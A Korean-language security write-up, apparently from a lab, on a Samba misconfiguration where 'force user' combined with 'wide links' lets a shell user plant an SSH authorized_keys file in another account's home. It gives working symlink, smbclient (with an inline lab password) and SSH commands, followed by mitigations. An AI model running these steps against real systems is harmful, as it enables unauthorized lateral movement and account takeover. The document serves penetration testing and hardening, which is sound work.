Overview

Samba는 Linux 및 Unix 환경에서 Windows 호환 파일 공유를 제공하는 오픈소스 소프트웨어. 부서 간 파일 공유, 프린터 공유 등 다양한 목적으로 사용되고 있으며, 다수의 구성 옵션을 제공한다.

그 중 force userwide links는 각 파일 소유권 관리와 심볼릭 링크 추적을 위한 옵션이다. 두 옵션 모두 단독으로는 심각한 위협이 되지 않지만, 특정 조건에서 결합되면 인증된 사용자가 다른 시스템 계정의 홈 디렉터리에 임의 파일을 쓸 수 있는 횡적 이동 경로가 되는 것이다.

Samba 공유 설정 분석

smb.conf 구조

Samba의 모든 설정은 /etc/samba/smb.conf (또는 include된 별도 파일)에 정의된다. 설정은 크게 두 영역으로 나뉜다.

[global]
  # 서버 전체에 적용되는 설정
  workgroup = WORKGROUP
  unix extensions = no
  allow insecure wide links = yes

[shared]
  # 개별 공유에 적용되는 설정
  path = /srv/shared
  valid users = jpark
  force user = dhkim
  wide links = yes
  read only = no

핵심 옵션 분석

force user

force user 옵션은 공유에 접속한 클라이언트의 실제 인증 계정과 무관하게, 모든 파일 시스템 작업을 지정된 사용자의 권한으로 실행하도록 강제한다.

예를 들어 jpark 계정으로 인증 후 force user 옵션이 dhkim으로 설정되어 있다면 jpark 계정이 SMB를 통해 파일 생성 시 다음과 같다.

  • 파일 소유자: dhkim
  • 파일 그룹: dhkim의 Primary Group
  • 파일 시스템 권한 검사도 dhkim 기준으로 수행

이 옵션은 원래 여러 사용자가 하나의 공유 디렉토리에서 동일한 소유권으로 파일을 관리해야 하는 협업 환경을 위해 설계되었다. 예를 들어 웹 서버의 업로드 디렉토리에서 모든 파일이 www-data 소유여야 할 때 사용한다.

보안 관점에서 이 옵션은 권한 경계를 흐리게 만든다. 인증된 사용자가 자신의 권한 범위를 넘어 다른 계정의 파일 시스템 권한을 행사할 수 있기 때문이다.

wide links 옵션은 공유 디렉토리 내의 심볼릭 링크가 공유 경계 밖의 파일 시스템을 가리킬 때 이를 따라갈 것인지를 결정한다.

공유 디렉토리: /srv/shared/
심볼릭 링크:   /srv/shared/link → /home/dhkim

wide links = no (기본값):
  link에 접근 → "접근 거부" (공유 디렉토리 밖이므로 차단)

wide links = yes:
  link에 접근 → /home/dhkim의 내용이 보임 (경계를 벗어나도 따라감)

Samba는 보안을 위해 unix extensions = yes일 때 wide links를 자동으로 비활성화한다. Unix extensions가 활성화되면 SMB 클라이언트가 프로토콜을 통해 심볼릭 링크를 직접 생성할 수 있게 되므로, wide links까지 허용하면 원격 클라이언트가 공유 외부로 탈출하는 링크를 자유롭게 만들 수 있기 때문이다. 그러나 allow insecure wide links = yes를 전역 설정에 추가하면 이 보호가 해제되며, unix extensions = no로 설정한 경우에는 이 연동 자체가 작동하지 않으므로 wide links = yes가 그대로 유효해진다.

옵션 조합의 위험성

두 옵션이 결합되면 다음과 같은 공격 경로가 성립한다.

단계 동작 작용 옵션
1 공유 디렉토리 내에 대상 홈 디렉토리를 가리키는 심볼릭 링크 생성 -
2 SMB를 통해 링크를 따라 대상 홈 디렉토리 접근 wide links = yes
3 대상 사용자 소유의 파일 생성 (SSH 키 등) force user = <대상>

취약한 환경 조건

이 공격이 성립하기 위한 전제 조건은 다음과 같다.

조건 필요 설정
공유에 쓰기 권한 read only = no
파일 소유권 전환 force user = <다른 사용자>
심볼릭 링크 추적 허용 wide links = yes
보호 해제 unix extensions = no 또는 allow insecure wide links = yes
심볼릭 링크 생성 권한 공유의 path 디렉토리에 대한 쓰기 권한 (SSH 접근 등)

특히 마지막 조건이 중요하다. unix extensions = no인 환경에서는 심볼릭 링크를 SMB 프로토콜을 통해 생성할 수 없고, 시스템 쉘에서 ln -s 명령으로 생성해야 한다. 따라서 이 공격은 대상 시스템에 이미 쉘 접근이 있는 상태에서 다른 사용자로 횡적 이동하는 시나리오에 해당한다.

Step 1: 설정 확인

jpark으로 SSH 접속한 상태에서 공격에 필요한 조건이 충족되는지 확인한다.

# Samba 공유 설정 확인
cat /etc/samba/smb.conf
[shared]
  force user = dhkim       ← 핵심: 파일 작업이 dhkim 권한으로 실행됨
  wide links = yes         ← 핵심: 심볼릭 링크가 공유 밖도 추적
  read only = no           ← 쓰기 가능

[global]
  workgroup = WORKGROUP
  server string = Lab File Server
  security = user
  map to guest = never
  unix extensions = no
  allow insecure wide links = yes
  log level = 1

[shared]
  comment = Team file share
  path = /srv/shared
  valid users = jpark
  force user = dhkim             # 파일 작업이 dhkim 권한으로 실행됨
  read only = no                 # 쓰기 가능  
  wide links = yes               # 심볼릭 링크가 공유 밖의 경로도 추적 가능  
  browseable = yes
  create mask = 0644
  directory mask = 0700

Step 2: SSH 키 쌍 생성

대상 계정으로 SSH 접속하기 위한 키 쌍을 생성한다.

ssh-keygen -q -t ed25519 -N '' -f /tmp/k

이 명령은 두 개의 파일을 생성한다:

  • /tmp/k : 개인키 (공격자가 보관)
  • /tmp/k.pub : 공개키 (대상 계정의 authorized_keys에 등록할 파일)

Step 3: 심볼릭 링크 생성

공유 디렉토리 안에 대상 사용자의 홈 디렉토리를 가리키는 심볼릭 링크를 생성한다.

ln -s /home/dhkim /srv/shared/target

이 시점에서의 디렉토리 구조:

/srv/shared/
  └── target → /home/dhkim    (심볼릭 링크)

Step 4: SMB를 통한 SSH 키 주입

심볼릭 링크를 직접 파일 시스템에서 따라가 파일을 쓰면 소유자가 jpark이 된다. SSH의 authorized_keys는 해당 사용자 소유가 아니면 무시하므로, 반드시 SMB를 통해 작업해야 한다. SMB 경유 시 force user = dhkim이 적용되어 파일이 dhkim 소유로 생성된다.

smbclient //127.0.0.1/shared -U 'jpark%FileShare2024!' -c 'mkdir target/.ssh; put /tmp/k.pub target/.ssh/authorized_keys'

이 명령의 실행 흐름:

  1. jpark 인증으로 shared 공유에 접속
  2. target/.ssh 디렉토리 생성 → wide links에 의해 실제로는 /home/dhkim/.ssh 생성
  3. 공개키 파일 업로드 → force user에 의해 소유자가 dhkim으로 설정됨

검증:

ls -la /home/dhkim/.ssh/authorized_keys
# -rw-r--r-- 1 dhkim dhkim ... /home/dhkim/.ssh/authorized_keys
#               ^^^^^ 소유자가 dhkim인 것을 확인

Step 5: 대상 계정으로 SSH 접속

# 컨테이너 내부에서 직접 접속하는 경우
ssh -i /tmp/k dhkim@127.0.0.1

# 호스트에서 Docker 컨테이너로 접속하는 경우
ssh -i /tmp/k -p 2222 dhkim@localhost

개인키로 인증이 수행되며, 비밀번호 없이 dhkim으로 접속된다.

id
# uid=1001(dhkim) gid=1001(dhkim) groups=1001(dhkim)

공격 원리 요약

이 공격이 성립하는 이유를 정리하면 다음과 같다.

1. jpark은 /srv/shared/에 심볼릭 링크를 만들 수 있다
   (SSH 쉘 접근 + 디렉토리 쓰기 권한)

2. wide links = yes로 인해 SMB가 링크를 따라 /home/dhkim에 접근한다
   (Samba가 공유 디렉토리 경계 검사를 하지 않음)

3. force user = dhkim으로 인해 생성된 파일이 dhkim 소유가 된다
   (실제 인증 계정 jpark과 무관하게)

4. SSH는 authorized_keys의 소유자가 대상 사용자와 일치해야 인증을 수락한다
   (force user 덕분에 이 조건이 충족됨)

각 요소가 모두 결합되어야 공격이 성립한다. wide links만으로는 파일 소유권 문제가 남고, force user만으로는 공유 디렉토리 밖에 접근할 수 없다.

대응방안 (Mitigation)

즉시 적용 가능한 설정 변경

smb.conf에서 아래 설정을 적용한 뒤 서비스를 재시작한다.

[global]
  # unix extensions를 활성화하면 wide links가 자동 비활성화됨
  unix extensions = yes
  # 이 옵션을 제거하거나 no로 설정
  allow insecure wide links = no

[shared]
  # wide links를 명시적으로 비활성화
  wide links = no
sudo systemctl restart smbd

설계 수준의 개선 사항

항목 권장 사항
force user 사용 범위 서비스 전용 계정(www-data 등)에만 적용, 일반 사용자 계정에는 사용 금지
wide links 운영 환경에서는 항상 no로 유지. 필요 시 bind mount로 대체
unix extensions 반드시 yes(기본값) 유지. no로 설정하면 심볼릭 링크 보호가 해제됨
allow insecure wide links 절대 yes로 설정하지 않을 것
공유 디렉토리 권한 공유의 path 디렉토리에 대한 쓰기 권한을 최소 사용자로 제한
감사 로그 vfs objects = full_audit를 추가하여 공유 내 파일 작업을 로깅

마치며

이 공격은 특정 CVE가 아닌 Samba 설정 옵션의 조합에서 발생하는 구조적 문제다. force userwide links는 각각 정당한 관리 목적으로 설계된 기능이지만, 결합되면 인증된 사용자의 권한 범위를 넘어 다른 계정의 파일 시스템을 조작할 수 있는 경로가 된다.

이는 개별 설정의 안전성만으로 전체 시스템의 보안을 판단할 수 없다는 점을 보여준다. 침투 테스트 시에는 Samba 공유 설정(testparm -s)을 반드시 점검하고, force userwide links의 동시 사용 여부를 확인해야 한다. 방어 측에서는 두 옵션의 결합을 금지하는 정책을 수립하고, 정기적인 설정 감사를 통해 위험한 조합이 도입되지 않도록 관리해야 한다.